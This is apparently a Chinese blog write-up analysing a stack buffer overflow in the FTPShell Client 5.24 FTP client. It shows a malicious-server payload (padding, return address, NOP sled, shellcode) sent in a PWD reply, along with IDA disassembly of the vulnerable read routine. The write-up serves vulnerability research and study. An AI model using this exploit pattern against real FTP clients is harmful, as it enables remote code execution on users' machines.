一次与缓冲区溢出的亲密接触
起因
这是一个简单的缓冲区溢出的漏洞,今天没事,来分析一下看看他溢出的原因,最后通过平衡堆栈的方式,让目标程序执行shellcode使程序不crash。只是用来研究和学习。
测试软件名称及版本
FTPShell Client 5.24
下载地址:https://pan.baidu.com/s/1IHOfx0IQQOpuTs55f-T-aQ
密码:qvo4
用到的工具
- IDA 6.8
- winxp sp3 32位虚拟机
测试漏洞
1、起一个ftp服务器,打开21端口。
2、等待客户端连接后,向客户方发送PWD的数据
3、ftp客户端收到服务器发送的PWD数据后,会crash
服务器给客户端发送的数据:
buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode
sks.send('257 "' + buffer + '" is current directory\r\n')
远程注入代码前后的流程图对比:
分析漏洞的位置:
这个call的主要功能键就是读取服务器发送来的数据到buffer
.text:0044D010 8D 95 6C FE FF FF lea edx, [ebp+var_194]
.text:0044D016 52 push edx
.text:0044D017 56 push esi
.text:0044D018 53 push ebx
.text:0044D019 E8 E6 12 00 00 call read_server_string_to_buffer ;读取服务器发来的buffer
.text:0044D019 ; success = 0 ;
.text:0044D019 ; fail = 1; no_server_data
.text:0044D01E 83 C4 0C add esp, 0Ch
.text:0044D021 85 C0 test eax, eax
.text:0044D023 75 34 jnz short loc_44D059
程序分配栈的大小
进入read_server_string_to_buffer这个call,我们看看分配栈的大小为0×408
.text:0044E304 55 push ebp
.text:0044E305 8B EC mov ebp, esp
.text:0044E307 81 C4 F8 FB FF FF add esp, -408h ; 分配local栈的大小
.text:0044E30D 53 push ebx